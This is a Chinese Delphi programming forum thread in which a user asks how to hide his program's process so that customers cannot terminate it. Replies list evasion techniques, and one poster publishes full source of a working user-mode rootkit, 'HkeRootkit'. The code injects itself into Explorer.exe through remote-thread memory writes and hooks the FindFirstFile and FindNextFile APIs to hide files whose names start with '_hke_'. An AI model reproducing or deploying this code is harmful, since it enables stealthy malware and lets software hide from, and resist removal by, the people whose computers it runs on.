dephi 隐藏当前进程.(100)

  • 主题发起人 主题发起人 zhangxuepu107
  • 开始时间 开始时间
Z

zhangxuepu107

Unregistered / Unconfirmed
GUEST, unregistred user!
如何在2000或以上的系统下,隐藏exe 程序的进程? 有示例更好,急!!!
 
http://www.cdshoe.com/taskmgr.zip在进程页,点右键,看能不能隐藏你的进程,如果能,我发代码给你
 
to浪人情哥: 我是想隐藏程序本身的进程,能用qq交流一下吗? 85277206
 
隐藏当前进程最终目的:用户不能删除程序进程.
 
嗯,知道,能隐藏别的进程,当然就能隐藏自己我说的你试没有,我那个可以看到,Windows的任务管理器看不到
 
浪人情哥:试了,你那个进程和系统的一个进程是一样的吧.能留下你的qq吗?
 
试了,你那个进程和系统的一个进程是一样的吧?不明白什么意思,是进程名一样吗,那你把我那个程序改个名字就行了三我是问你能不能隐藏进程?
 
进程和系统的一个进程不一样. 如; CC.EXE 运行后进程管理器中应该看不到cc.exe的进程名,或看见不能结束.你的程序运行,在进程管理器中还能看到进程,也能删除啊.
 
哦,看来我没有说清哈,你要的是隐藏自己,那你运行我那程序后,在进程页中选中自己,再点隐藏,在windows任务管理器中就看不到了哈
 
噢.那能一运行就隐藏吗?我的目的就是不想让客户删除进程啊.
 
那当然可以,不过现在的工具很多,这没多大用处,不如hook openprocess
 
那怎么搞定啊.有代码吗?
 
无非有这么三种方法:1.屏蔽“CTRL+ALT+DEL”这个热键的组合;2.让程序不出现在任务管理器的列表之中;3.让任务管理器无法杀掉这个任务
 
能具体点吗?有谁做过啊.
 
远程线程啊,把自己加载到Explorer.exe的进程上去。网上有很多这样的例子的。
 
TO takashiki:你做过的吗?有代码吗?
 
我没有做过,代码也已经找不着了。盒子上有不少的,但是这个东西已经用的泛滥了,当初有一个什么项目(病毒?好像叫Aphex什么的)的过于牛A和牛C之间,于是该技术被各大杀毒软件密切关注了。网上可以下载的,比如:http://www.2ccc.com/article.asp?articleid=4491。这个需要有一个DLL插入的。我原来的那个是DLL都不需要的,但是找不到了。给你推荐一个网页:http://www.002pc.com/master/College/Language/Delphi/12655.html。哎,Delphi版的就是难找,C/C++的倒是一艘一大堆。你在谷歌里输入“远程线程 无DLL”就可以看到。
 
没有啊,能把代码发过我吗?谢谢.zhangxuepu107@126.com
 
昨天给你发邮件了,被退回来了,说是有病毒!果然,远线就是容易被杀软关注啊。今天把源码直接发到这儿吧,这个比较厉害,涉及到远线注入和API Hook的。API Hook部分就别看了,很麻烦的。这个注释很详细的。远线部分我已经做标记了,是一堆///开始的部分。 program HkeRootkit; {$IMAGEBASE $21764538} //换个基址//////////////////////////////////////// takashiki注:基址一定要换的,否则与其他进程冲突。目的是将自己写到其它进程(这里是Explorer.exe进程)的私有空间。如果是DLL,则直接加载到公有空间就行了,那个比较简单的,网上代码也不少。 uses Windows; //APIHook基本代码 type TModuleList = array of cardinal; TImportFunction = packed record JumpInstruction: Word; AddressOfPointerToFunction: ^Pointer; end; TImageImportEntry = record Characteristics: dword; TimeDateStamp: dword; MajorVersion: word; MinorVersion: word; Name: dword; LookupTable: dword; end; // function GetModuleList: TModuleList; stdcall; //枚举模块列表 貌似用HelpAPI弄个快照效果差不多 var Module, Base: pointer; ModuleCount: integer; lpModuleName: array [0..MAX_PATH] of char; MemoryBasicInformation: TMemoryBasicInformation; begin SetLength(Result, 10); ModuleCount := 0; Module := nil; Base := nil; while VirtualQueryEx(GetCurrentProcess, Module, MemoryBasicInformation, SizeOf(MemoryBasicInformation)) = SizeOf(MemoryBasicInformation) do begin if (MemoryBasicInformation.State = MEM_COMMIT) and (MemoryBasicInformation.AllocationBase <> Base) and (MemoryBasicInformation.AllocationBase = MemoryBasicInformation.BaseAddress) and (GetModuleFileName(dword(MemoryBasicInformation.AllocationBase), lpModuleName, MAX_PATH) > 0) then begin if ModuleCount = Length(Result) then SetLength(Result, ModuleCount * 2); Result[ModuleCount] := dword(MemoryBasicInformation.AllocationBase); Inc(ModuleCount); end; Base := MemoryBasicInformation.AllocationBase; dword(Module) := dword(Module) + MemoryBasicInformation.RegionSize; end; SetLength(Result, ModuleCount); end; function FunctionAddress(Code: Pointer): Pointer;stdcall; //获得函数真实地址 begin Result := Code; if TImportFunction(Code^).JumpInstruction = $25FF then Result := TImportFunction(Code^).AddressOfPointerToFunction^; end; function HookModules(ImageDosHeader: PImageDosHeader; TargetAddress, NewAddress: Pointer; var OldAddress: Pointer):integer;stdcall; //修改一个模块来HookAPI var ImageNTHeaders : PImageNtHeaders; ImageImportEntry: ^TImageImportEntry; ImportCode: ^Pointer; OldProtect: dword; EndofImports: dword; begin Result := 0; OldAddress := FunctionAddress(TargetAddress); if ImageDosHeader.e_magic <> IMAGE_DOS_SIGNATURE then Exit; ImageNTHeaders := Pointer(integer(ImageDosHeader) + ImageDosHeader._lfanew);; if ImageNTHeaders <> nil then begin with ImageNTHeaders^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] do begin ImageImportEntry := Pointer(dword(ImageDosHeader) + VirtualAddress); EndofImports := VirtualAddress + Size; end; if ImageImportEntry <> nil then begin while ImageImportEntry^.Name <> 0 do begin if ImageImportEntry^.LookUpTable > EndofImports then break; if ImageImportEntry^.LookUpTable <> 0 then begin ImportCode := Pointer(dword(ImageDosHeader) + ImageImportEntry^.LookUpTable); while ImportCode^ <> nil do begin if (ImportCode^ = TargetAddress) and VirtualProtect(ImportCode, 4, PAGE_EXECUTE_READWRITE, @OldProtect) then ImportCode^ := NewAddress; Inc(ImportCode); end; end; Inc(ImageImportEntry); end; end; end; end; function HookAPI(TargetModule, TargetProc:Pchar; NewProc: Pointer; var OldProc: Pointer): integer; stdcall; //实际上就是枚举模块完 一个一个Hook var ModuleLoop: integer; Modules: TModuleList; Module: hModule; Target: pointer; begin Result := 0; Module := GetModuleHandle(pchar(TargetModule)); Modules := GetModuleList; if Module = 0 then begin Module := LoadLibrary(pchar(TargetModule)); end; Target := GetProcAddress(Module, pchar(TargetProc)); if Target = nil then Exit; for ModuleLoop := 0 to High(Modules) do begin if (GetVersion and $80000000 = 0) or (Modules[ModuleLoop] < $80000000) then begin Result := HookModules(Pointer(Modules[ModuleLoop]), Target, NewProc, OldProc); end; end; end; function UnHookAPI(NewProc, OldProc: Pointer): integer; stdcall; //反Hook一遍就是了 var ModuleLoop: integer; Modules: TModuleList; begin Result := 0; Modules := GetModuleList; for ModuleLoop := 0 to High(Modules) do begin if (GetVersion and $80000000 = 0) or (Modules[ModuleLoop] < $80000000) then begin Result := HookModules(Pointer(Modules[ModuleLoop]), NewProc, OldProc, NewProc); end; end; end; // Const WuHansen='HkeRootkit By WuHansen.Com';//俺们弄个标识 function CheckMutex(Sym:Pchar):bool;stdcall; //检查斥体是否存在 var h:longword; begin h:=OpenMutex(MUTEX_ALL_ACCESS, FALSE, Sym); Result:= h<> 0; CloseHandle(h); end; function CmpA(S:Pchar):bool;stdcall; //判断pchar是不是_hke_开头 begin result:=false; if lstrlenA(S)>4 then if S[0]='_' then if (S[1]='h') or (S[1]='H') then if (S[2]='k') or (S[2]='K') then if (S[3]='e') or (S[3]='E') then if S[4]='_' then result:=true; end; function CmpW(S:PWchar):bool;stdcall; //判断pwidechar是不是_hke_开头 begin result:=false; if lstrlenW(S)>5 then if S[0]='_' then if (S[1]='h') or (S[1]='H') then if (S[2]='k') or (S[2]='K') then if (S[3]='e') or (S[3]='E') then if S[4]='_' then result:=true; end; //下面存放原函数地址 var FindNextFileANext : function (handle: dword; var data: TWin32FindDataA) : bool; stdcall; FindNextFileWNext : function (handle: dword; var data: TWin32FindDataW) : bool; stdcall; FindFirstFileANext :function (lpFileName: PChar; var data: TWIN32FindDataA): dword; stdcall; FindFirstFileWNext :function (lpFileName: PWChar; var data: TWIN32FindDataW): dword; stdcall; //代理函数 function FindFirstFileACallback(lpFileName: PChar; var data: TWIN32FindDataA): dword; stdcall; var tmp:bool; begin result := FindFirstFileANext(lpFileName, data); if CmpA(data.cFileName) then repeat tmp:= FindNextFileANext(result, data); until (not tmp) or (not CmpA(data.cFileName)); end; function FindFirstFileWCallback(lpFileName: PWChar; var data: TWIN32FindDataW): dword; stdcall; var tmp:bool; begin result := FindFirstFileWNext(lpFileName, data); if CmpW(data.cFileName) then repeat tmp:= FindNextFileWNext(result, data); until (not tmp) or (not CmpW(data.cFileName)); end; function FindNextFileACallback(handle: dword; var data: TWin32FindDataA) : bool; stdcall; begin repeat result := FindNextFileANext(handle, data); until (not result) or (not CmpA(data.cFileName)); end; function FindNextFileWCallback(handle: dword; var data: TWin32FindDataW) : bool; stdcall; begin repeat result := FindNextFileWNext(handle, data); until (not result) or (not CmpW(data.cFileName)); end; // var hMutex:LongWord; procedure Hook;stdcall; begin hMutex:=CreateMutex(nil, FALSE, WuHansen);//创建斥体 //下面开始HOOKAPI HookAPI('kernel32.dll', 'FindNextFileA', @FindNextFileACallback, @FindNextFileANext); HookAPI('kernel32.dll', 'FindNextFileW', @FindNextFileWCallback, @FindNextFileWNext); HookAPI('kernel32.dll', 'FindFirstFileA', @FindFirstFileACallback, @FindFirstFileANext); HookAPI('kernel32.dll', 'FindFirstFileW', @FindFirstFileWCallback, @FindFirstFileWNext); end; procedure UnHook;stdcall; begin //先卸载钩子 UnHookAPI(@FindNextFileACallback, @FindNextFileANext); UnHookAPI(@FindNextFileWCallback, @FindNextFileWNext); UnHookAPI(@FindFirstFileACallback, @FindFirstFileANext); UnHookAPI(@FindFirstFileWCallback, @FindFirstFileWNext); //关闭斥体 CloseHandle(hMutex); end; ///////////////////////////////////////////////////////////takashiki注: 远线注入的部分主要是下面的内容 var Pid,Tid,ProcessHandle,InjectSize,hThread,MSG:LongWord; Code,pRemote:pointer; begin Code:= pointer(GetModuleHandle(nil)); //获得自己模块地址 InjectSize:= PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage; if CheckMutex(WuHansen) then //发现斥体 begin MSG:=MessageBox(0,'检查到内存中有HkeRootkit要卸载吗?'+1310+'卸载后原来隐藏的文件在刷新后可见 '+1310+'Hke QQ:21764538',WuHansen,4); if MSG=6 then //用户按下Yes begin GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); //取得Explorer.exe的进程ID ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开句柄 hThread:=CreateRemoteThread(ProcessHandle, nil, 0, @unHook, 0, 0, Tid); //创建远程线程 WaitForSingleObject(hThread, INFINITE); //等待线程运行完 CloseHandle(hThread); VirtualFreeEx(ProcessHandle, Code, 0, MEM_RELEASE);//把用完的内存释放掉 CloseHandle(ProcessHandle); //养成随手擦PP的好习惯 end; end else begin MSG:=MessageBox(0,'检查到内存中没有HkeRootkit要注入吗?'+1310+'(不写注册表,重启可恢复.或者再次运行本程序进行卸载.)'+1310+'API被Hook后会在任务管理器(我的电脑)中隐藏所有以_hke_开头的文件和文件夹 '+1310+'Hke QQ:21764538',WuHansen,4); if MSG=6 then begin GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); pRemote:=VirtualAllocEx(ProcessHandle,Code,InjectSize,MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); //在目标进程与本模块相同地址分配内存 //这样就不会因为内部地址不同产生错误 WriteProcessMemory(ProcessHandle, pRemote, Code, InjectSize, Tid); //把自己拷进对方内存 CreateRemoteThread(ProcessHandle, nil, 0, @Hook, 0, 0, Tid); //开线程 做坏事 CloseHandle(ProcessHandle); //还是要擦PP MessageBox(0,'API已经挂钩'+1310+'请刷新查看效果'+1310+'Hke QQ:21764538',WuHansen,0); end; end; end.
 
85277206,这是我的qq,可以加我吗?或留下你的qq,我有些问题请教一下.
 
后退
顶部